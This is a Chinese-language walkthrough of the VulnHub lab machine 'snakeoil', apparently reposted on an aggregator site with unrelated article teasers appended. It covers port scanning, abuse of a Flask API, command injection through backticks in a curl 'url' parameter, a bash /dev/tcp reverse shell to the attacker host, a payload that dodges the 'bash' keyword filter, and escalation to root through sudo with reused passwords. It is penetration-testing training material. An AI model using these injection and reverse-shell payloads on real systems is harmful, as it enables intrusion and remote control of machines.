vulnhub靶場之【digitalworld.local系列】的snakeoil靶機

前言

靶機:digitalworld.local-snakeoil,IP地址為192.168.10.11

攻擊:kali,IP地址為192.168.10.6

kali采用VMware虛擬機,靶機選擇使用VMware打開文件,都選擇橋接網絡

這里官方給的有兩種方式,一是直接使用virtualbox加載,另一種是通過VMware直接加載,也給出了iso鏡像文件。

文章中涉及的靶機,來源于vulnhub官網,想要下載,可自行訪問官網下載,或者通過網盤下載 https://pan.quark.cn/s/86cf8a398835

主機發現

使用arp-scan -lnetdiscover -r 192.168.10.1/24掃描

也可以使用nmap等工具進行

信息收集

使用nmap掃描端口

掃描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp

掃描常見的20個udp端口,不過這里的端口明顯處于open的很少

nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp

把前面掃描出的tcp、udp端口,進行處理,只取端口號

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#這里就是包括可能開放的端口都不要,因為是靶機,可能過濾的話,也會無法進一步掃描
ports=22,80,8080,68,69,138,161,631,1434,1900

對特定的端口號進行深入探測

nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail

使用腳本檢測有無漏洞

nmap --script=vuln 192.168.10.11 -p $ports -oA vuln

網站信息探測

訪問80端口界面,應該是搭建成功的界面,訪問頁面源代碼,并沒有信息泄露

使用whatweb和瀏覽器插件wappalyzer進行分析

9

使用gobuster等目錄爆破工具進行測試

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

可以看到,掃描并未有內容出現

訪問8080端口的界面,這個界面,有點像之前未綁定域名時的界面,不知道是否如此

查看頁面源代碼,也沒有信息泄露

點擊進行測試,訪問edit,就是每個文章的編輯,發現有delete post的選項,并且點擊后,可以直接就刪除這個文章了

不過訪問house rules時,也是發現了一個人名patrick

這里反應很慢,通過瀏覽器的網絡功能,發現請求的js可能是來自國外的,所以建議這里自己使用魔法一下。

訪問useful links,發現其中提到JWT認證

使用gobuster目錄爆破工具,針對8080端口的網站進行目錄爆破

gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,.sh,.html -b 403-404

訪問login界面,提示當前的get方式不行,并且服務器給出回應,可用的方式有兩個

那么建議使用burp或者yakit抓包吧,更改請求類型后,還是沒什么東西。改為post還有內容,但是options后,沒有任何東西

訪問同樣是405狀態碼的run,這個更改為post后,給出了返回,也就是應該有一個form表單,這個表單中輸入url,其實就是需要知道參數。這個沒辦法

訪問users,發現東西了,這里就是出現用戶名和密碼了

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040

嘗試使用john進行破解

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040 這種形式是使用了 PBKDF2(Password-Based Key Derivation Function 2)算法結合 SHA256 哈希函數進行的密碼哈希加密結果。

具體解釋如下:

  • $pbkdf2-sha256$:表示使用的是 PBKDF2 算法并且哈希函數是 SHA256。PBKDF2 是一種基于密碼的密鑰派生函數,它通過多次迭代和加鹽等操作,增加破解密碼的難度,增強安全性。
  • 29000:這個數字表示迭代次數,即 PBKDF2 算法在計算密鑰派生值時對輸入密碼進行哈希計算的次數。迭代次數越多,破解密碼所需的時間和計算資源就越多。
  • e0/J.V.rVSol5HxPqdW6Nw:這是鹽值(salt),鹽是一個隨機值,與密碼一起參與哈希計算。鹽值的作用是使得即使用戶使用了相同的密碼,其哈希結果也會不同,進一步增加破解的難度。
  • FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040:這部分是最終生成的密碼哈希值。

這里繼續進行總結觀察

抓包分析以獲取shell

這里還是說一下,并非就一定使用burp,工具很多

使用burp修改數據包

之前抓取的幾個界面感覺有搞頭,/loginrunregistration

訪問registration

這里是返回提示“錯誤的方法”

那么采用POST方式后,提示username區域為空

一般對于registration都是注冊,假設這里一樣呢,因為也涉及到用戶名。

那么一般都是與表單有關的,所以,嘗試進行添加,參數是username

這里建議從burp的右側界面進行添加,因為這樣burp會自動加上Content-type請求體的

這里提示password參數也沒有數據,所以再添加數據password

根據返回數據來看,已經成功, 讓訪問loginapi進行登錄,并且給出了一個token值,這個肯定有用

訪問login

使用剛剛注冊成功的進行登錄

修改請求方式為POST,然后點擊后,所需參數與注冊時一樣,就直接截圖參數到位的圖片

但是這里登錄成功,并沒有跳轉,所以可能就到這里,還有一個run,訪問它

訪問run

但是這里的返回并沒有參數,該怎么辦呢,仔細觀察,或許這是json的形式進行傳遞的

json數據在請求體中進行測試,不過直接測試127.0.0.1:80后,無效果

說明還是有一個所謂的參數,一直說提供url,是否參數就是url呢,測試一下,當然形式上都測試一下,先測試表單的請求,可以看到不行

直接使用burp的擴展,更改為json形式

返回不一樣了,這里要一個密鑰,綜合來說,目前密鑰的形式可能有patrick的哈希密碼。以及注冊用戶snake給的一個access_token,不過這里進行login時,是使用注冊的用戶snake,是否需要的就是這個access_token呢。

這個token,一般都是放置在cookie中的,那么直接添加測試,直接在這里發現不行,這個secret_key可能不是這兩個中的任一個。

訪問secret

根據名稱聯想,之前的目錄secret還沒測試,訪問測試一下,直接500

內部服務器問題?這里目前有的只有access_token以及賬戶密碼,嘗試添加access_token測試能否訪問

還是不行,這不應該啊,我測試多次,無奈,看了一下wp

有點無語,名稱是access_token_cookie???????啊啊啊啊啊啊啊

唉,訪問成功,獲取到secret_key的值commandexecutionissecret

直接在run中的json數據,再添加以一段即可

命令執行

這里可以看到右邊的返回,像是統計,這里的secret_key是固定的,必須有才能有返回

但是url參數的值,并非固定的,嘗試修改一下進行測試,只要在引號內修改,任意值的返回都是這個

并且,這里返回中,說不能解析主機id,采用的是curl

我是否可以猜測,這其實是一個curl命令語句,經測試就是類似于這種

所以在burp上再測試,發現直接在引號內輸入;id是不行的,可能在某些符合內吧。想到可以使用反引號 ``這個可以執行的

"url":"127.0.0.1:80;`id`",
"secret_key":"commandexecutionissecret"

相當于可以命令執行,并且這個返回其實可以搞掉,因為是正確的返回,那么直接給它2>/dev/null

反正大差不差,直接命令執行一個反彈shell進行測試,直接搞命令不行,感覺可能有過濾等情況發生,那么直接在kali中創建一個腳本shell.sh,代碼如下

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1

然后通過這個把其下載,根據curl的命令,加上-O參數即可,這里也測試過php文件,但是對php進行關鍵字處理了

想辦法執行執行這個腳本,測試過,命令執行不能有空格,也就是單個命令可以

經過測試,對關鍵字bash進行了篩選,不能直接有bash出現

所以需要進行拼接

"http://192.168.10.6:8888/shell.sh -O;`a='bas';b='h';$a$b shell.sh`",

使用postman修改

打開postman工具后,直接輸入網址地址即可,這里與burp不同,這里基本上無需抓包,而是通過修改包然后直接請求的方式

大致情況如下,基本上差不多

26

這里就放兩張圖,不過一定要注意,postmanburp是不同的,這里使用這個工具也是提醒自己

靶機內信息收集

patrick獲取到的反彈shell,查看當前靶機內的用戶,發現只要patrick

ls -l /home
cat /etc/passwd | grep /bin/bash

查看網絡連接狀態

ip add
ss -antulp
netstat -antulp

查看內核版本和系統版本

uname -a
uanme -r
cat /etc/issue
cat /etc/*release
lsb_release

查看以root執行的進程

ps aux | grep root

使用find尋找一些權限

find / -perm \o+w 2>/dev/null
find / -perm -4000 -print 2>/dev/null

使用sudo -l查看,發現兩個,一個以root執行無需密碼的shutdown,一個是需要密碼,所有都可以

但是這里不知道patrick的密碼

查看由python搭建的flask網站配置,該配置文件就在patrick的家目錄下,路徑為/home/patrick/flask_blog

查看主文件app.py,發現幾個可能是密碼的東西

當然這個文件中,還涉及到一些防護,是真的對bash等關鍵字進行防護了

嘗試以獲取的密碼進行登錄測試

snakeoilisnotgoodforcorporations
NOreasonableDOUBTthisPASSWORDisGOOD

最終以密碼NOreasonableDOUBTthisPASSWORDisGOOD登錄了patrick賬戶

提權

根據前面的sudo -l的配置可以知道,這里知道密碼后可執行sudo一切了

sudo /bin/bash -p

查看root主目錄下的文件

總結

該靶機有以下幾點:

  1. 對于網站,最好就是在瀏覽時,借助抓包工具,這樣可以分析很多,可以使用burpyakit
  2. 對于一些網站中的請求方式,請求方式不同,也會導致返回不同,這個是重點的,還有許多http的請求頭不同,返回也會不同的
  3. 對于http協議中的一些東西,一定要了解,這里比如請求體數據格式,請求頭cookiecontent-type等等
  4. python搭建的網站也是要了解的,這里的flask也是有很多漏洞的,具體可以百度搜索一下。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/71713.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/71713.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/71713.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

自行車的主要品牌

一、國際知名品牌(專注運動與高端市場) 捷安特(GIANT) 臺灣品牌,全球最大自行車制造商之一,覆蓋山地車、公路車、通勤車等多品類。 美利達(MERIDA) 臺灣品牌,以山地車…

C語言(隊列)

1、隊列的原理和作用 1、1 隊列的原理 隊列的原理其實就像一個管道,如果我們不斷的往管道里塞乒乓球,每個乒乓球在管道里就會排列一條隊列,先進去的乒乓球會先出來,這個就是隊列先進先出的規則 球從左邊進去的動作叫入列&#xf…

【C++算法】AVL樹的平衡之美:從理論到C++高效實現

AVL樹是一種自平衡二叉搜索樹,解決了普通二叉搜索樹在數據傾斜時的性能退化問題。本文深入探討了AVL樹的理論基礎,包括平衡因子的定義、旋轉操作的數學推導,并通過LaTeX公式分析其時間復雜度。接著,我們用C++實現了一個完整的AVL樹,包括插入、刪除和平衡調整的詳細代碼,附…

黑金風格人像靜物戶外旅拍Lr調色教程,手機濾鏡PS+Lightroom預設下載!

調色教程 針對人像、靜物以及戶外旅拍照片,運用 Lightroom 軟件進行風格化調色工作。旨在通過軟件中的多種工具,如基本參數調整、HSL(色相、飽和度、明亮度)調整、曲線工具等改變照片原本的色彩、明度、對比度等屬性,將…

ESP8266 NodeMCU 與 Atmega16 微控制器連接以發送電子郵件

NodeMCU ESP8266 AVR 微控制器 ATmega16 的接口 Atmega16 是一款低成本的 8 位微控制器,比以前版本的微控制器具有更多的 GPIO。它具有所有常用的通信協議,如 UART、USART、SPI 和 I2C。由于其廣泛的社區支持和簡單性,它在機器人、汽車和自動化行業有廣泛的應用。 Atmega1…

【Hadoop】詳解HDFS

Hadoop 分布式文件系統(HDFS)被設計成適合運行在通用硬件上的分布式文件系統,它是一個高度容錯性的系統,適合部署在廉價的機器上,能夠提供高吞吐量的數據訪問,非常適合大規模數據集上的應用。為了做到可靠性,HDFS創建了…

2025 批量下載市場高標解讀/配置喵/wangdizhe 雪球帖子/文章導出excel和pdf

之前分享過文章2025 批量下載雪球和東方財富文章導出excel和pdf ,今天整理分享下我下載過的一些雪球文章。 第1個號市場高標解讀 抓取下載的所有帖子excel數據包含文章日期,文章標題,文章鏈接,文章簡介,點贊數&#…

2022年《申論》第二題(河北A卷)

材料: “社區很大,共有安置房148棟,安置人口2.9萬人。人員眾多,而且原來都來自農村,群眾生活環境變化大,不適應。”春林易地搬遷安置點建成使用后,老單便來這里擔任春林街道辦主任。如何有效治…

Qt中實現多個QMainWindow同時顯示

在Qt中實現多個QMainWindow同時顯示,可通過以下方法實現: 一、直接顯示多個實例 必須使用new創建堆對象,避免棧對象因作用域結束被銷毀?。 int main(int argc, char *argv[]) {QApplication a(argc, argv);// 創建兩個獨立的主窗口QMainW…

從運動手環到醫療貼片,精密校平機正在重塑柔性電子器件的工業化生產標準

在柔性電子器件的制造領域,從運動手環到醫療貼片,精密校平機的應用正引領一場生產標準的變革。傳統的柔性電子器件生產過程中,材料的平整度控制往往不夠精確,導致產品質量參差不齊。然而,隨著精密校平機的引入&#xf…

AIP-161 域掩碼

編號161原文鏈接AIP-161: Field masks狀態批準創建日期2021-03-01更新日期2021-03-01 在(使用AIP-134的Update或類似方法)更新資源時,通常需要明確指定哪些域需要更新。服務可以忽略另外的域,即使用戶發送了值。 定義一種掩碼格…

掌握Kubernetes Network Policy,構建安全的容器網絡

在 Kubernetes 集群中,默認情況下,所有 Pod 之間都是可以相互通信的,這在某些場景下可能會帶來安全隱患。為了實現更精細的網絡訪問控制,Kubernetes 提供了 Network Policy 機制。Network Policy 允許我們定義一組規則&#xff0c…

Flask 小冊子簡介

這是一個Flask restful講解的小冊子,涵蓋了 RESTful API 的概念、選擇 Flask 的原因以及小冊子的目標和結構。我會盡量寫得詳細,幫助你更好地理解。 1. 簡介 1.1 什么是 RESTful API? 1.1.1 REST 的概念 REST(Representational…

ElementUI 級聯選擇器el-cascader啟用選擇任意一級選項,選中后關閉下拉框

1、啟用選擇任意一級選項 在 el-cascader 標簽上加上配置項&#xff1a; :props"{ checkStrictly: true }"例如&#xff1a; <el-cascaderref"selectedArrRef"v-model"selectedArr":options"optionsList":props"{ checkStri…

typedef 和 using 有什么區別?

在 C 編程中&#xff0c;類型別名&#xff08;Type Aliases&#xff09;是為已有類型定義新名稱的一種機制&#xff0c;能夠顯著提升代碼的可讀性和可維護性。C 提供了兩種工具來實現這一功能&#xff1a;傳統的 typedef 和 C11 引入的 using 關鍵字。 概念 類型別名本質上是為…

VS2022C#windows窗體應用程序調用DeepSeek API

目錄 一、創建DeepSeek API Key 二、創建窗體應用程序 三、設計窗體 1、控件拖放布局?? 2、主窗體【Form1】設計 3、多行文本框【tbContent】 4、提交按鈕【btnSubmit】 5、單行文字框 四、撰寫程序 五、完整代碼 六、運行效果 七、其它 一、創建DeepSeek API Ke…

docker 如何更新容器內的環境變量,并覆蓋創建這個容器的鏡像?

docker 如何更新容器內的環境變量&#xff0c;并覆蓋串講這個容器的鏡像&#xff1f; 之前試過在容器內unset 環境變量&#xff0c;并進行docker commit 保存&#xff0c;發現這樣是不行的&#xff0c;重新啟動容器之后還是會出現之前設置過的環境變量 了解了下&#xff0c;u…

Android Coil總結

文章目錄 Android Coil總結概述添加依賴用法基本用法占位圖變形自定義ImageLoader取消加載協程支持緩存清除緩存監聽 簡單封裝 Android Coil總結 概述 Coil 是一個用于 Android 的 Kotlin 圖像加載庫&#xff0c;旨在簡化圖像加載和顯示的過程。它基于 Kotlin 協程&#xff0…

如何在WPS中接入DeepSeek并使用OfficeAI助手(超細!成功版本)

目錄 第一步&#xff1a;下載并安裝OfficeAI助手 第二步&#xff1a;申請API Key 第三步:兩種方式導入WPS 第一種:本地大模型Ollama 第二種APIKey接入 第四步&#xff1a;探索OfficeAI的創作功能 工作進展匯報 PPT大綱設計 第五步&#xff1a;我的使用體驗(體驗建議) …

Spring Boot集成Minio筆記

一、首先配置MinIO 1、MinIO新建Bucket&#xff0c;訪問控制臺如圖 創建訪問密鑰(就是賬號和密碼) 二、集成mino添加Minio客戶端依賴 1.maven構建方式在pom.xml引入jar <dependency><groupId>io.minio</groupId><artifactId>minio</artifactI…